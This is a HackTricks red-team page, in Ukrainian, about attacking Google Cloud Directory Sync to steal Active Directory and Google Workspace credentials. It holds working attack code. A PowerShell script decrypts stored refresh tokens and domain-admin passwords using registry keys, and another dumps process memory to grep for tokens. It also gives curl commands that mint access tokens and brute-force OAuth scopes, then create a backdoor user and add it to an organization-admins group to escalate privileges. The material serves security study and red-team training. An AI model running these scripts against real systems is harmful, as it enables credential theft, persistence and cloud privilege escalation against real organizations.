GCDS - Google Cloud Directory Sync
Reading time: 9 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Основна інформація
Це інструмент, який можна використовувати для синхронізації ваших користувачів та груп активного каталогу з вашим Workspace (а не навпаки на момент написання цього тексту).
Це цікаво, оскільки це інструмент, який вимагатиме облікові дані суперкористувача Workspace та привілейованого користувача AD. Тому, можливо, його можна знайти на сервері домену, який час від часу синхронізує користувачів.
note
Щоб виконати MitM для бінарного файлу config-manager.exe
, просто додайте наступний рядок у файл config.manager.vmoptions
: -Dcom.sun.net.ssl.checkRevocation=false
tip
Зверніть увагу, що Winpeas здатний виявити GCDS, отримати інформацію про конфігурацію та навіть паролі та зашифровані облікові дані.
Також зверніть увагу, що GCDS не синхронізує паролі з AD до Workspace. Якщо щось, він просто згенерує випадкові паролі для новостворених користувачів у Workspace, як ви можете бачити на наступному зображенні:

GCDS - Дискові токени та облікові дані AD
Бінарний файл config-manager.exe
(основний бінарний файл GCDS з GUI) за замовчуванням зберігатиме налаштовані облікові дані Active Directory, токен оновлення та доступ у xml файлі в папці C:\Program Files\Google Cloud Directory Sync
у файлі під назвою Untitled-1.xml
за замовчуванням. Хоча його також можна зберегти в Documents
користувача або в будь-якій іншій папці.
Більше того, реєстр HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui
всередині ключа open.recent
містить шляхи до всіх нещодавно відкритих конфігураційних файлів (xml). Тому можливо перевірити це, щоб знайти їх.
Найцікавіша інформація всередині файлу буде:
[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
Зверніть увагу, що refresh token та password користувача шифруються за допомогою AES CBC з випадково згенерованим ключем та IV, які зберігаються в HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util
(де б не зберігала бібліотека prefs
Java налаштування) у рядкових ключах /Encryption/Policy/V2.iv
та /Encryption/Policy/V2.key
, збережених у base64.
Powershell скрипт для розшифрування refresh token та пароля
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
$ivKeyName = "/Encryption/Policy/V2.iv"
$keyKeyName = "/Encryption/Policy/V2.key"
# Open the registry key
try {
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
}
catch {
Write-Error "Failed to open registry key: $_"
exit
}
# Get Base64-encoded IV and Key from the registry
try {
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
}
catch {
Write-Error "Failed to read registry values: $_"
exit
}
$regKey.Close()
# Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64)
$keyBytes = [Convert]::FromBase64String($keyBase64)
# Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw
# Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value
$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value
# Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes
$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()
$cryptoStream.Close()
$memoryStream.Close()
return $plaintextBytes
}
# Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)
$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)
# Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"
note
Зверніть увагу, що цю інформацію можна перевірити, переглянувши java-код DirSync.jar
з C:\Program Files\Google Cloud Directory Sync
, шукаючи рядок exportkeys
(оскільки це параметр cli, який очікує бінарний файл upgrade-config.exe
для виведення ключів).
Замість використання скрипта PowerShell, також можна використовувати бінарний файл :\Program Files\Google Cloud Directory Sync\upgrade-config.exe
з параметром -exportKeys
і отримати Key та IV з реєстру в шістнадцятковому форматі, а потім просто використати CyberChef з AES/CBC та цим ключем і IV для розшифрування інформації.
GCDS - Виведення токенів з пам'яті
Так само, як і з GCPW, можна вивести пам'ять процесу config-manager.exe
(це назва основного бінарного файлу GCDS з GUI), і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).
Гадаю, ви також могли б знайти налаштовані облікові дані AD.
Виведення процесів config-manager.exe та пошук токенів
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - Генерація токенів доступу з токенів оновлення
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCDS - Сфери
note
Зверніть увагу, що навіть маючи refresh token, неможливо запитати будь-яку сферу для access token, оскільки ви можете запитувати лише сфери, підтримувані додатком, в якому ви генеруєте access token.
Крім того, refresh token не є дійсним у кожному додатку.
За замовчуванням GCSD не матиме доступу як користувач до кожної можливої OAuth сфери, тому, використовуючи наступний скрипт, ми можемо знайти сфери, які можна використовувати з refresh_token
для генерації access_token
:
Bash скрипт для брутфорсу сфер
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
І ось результат, який я отримав на момент написання:
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
https://www.googleapis.com/auth/admin.directory.resource.calendar
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/admin.directory.userschema
https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
Створіть користувача та додайте його до групи gcp-organization-admins
, щоб спробувати ескалувати привілеї в GCP
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
caution
Неприпустимо надати новому користувачу роль Super Amin, оскільки токен оновлення не має достатньо обсягів для надання необхідних привілеїв.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.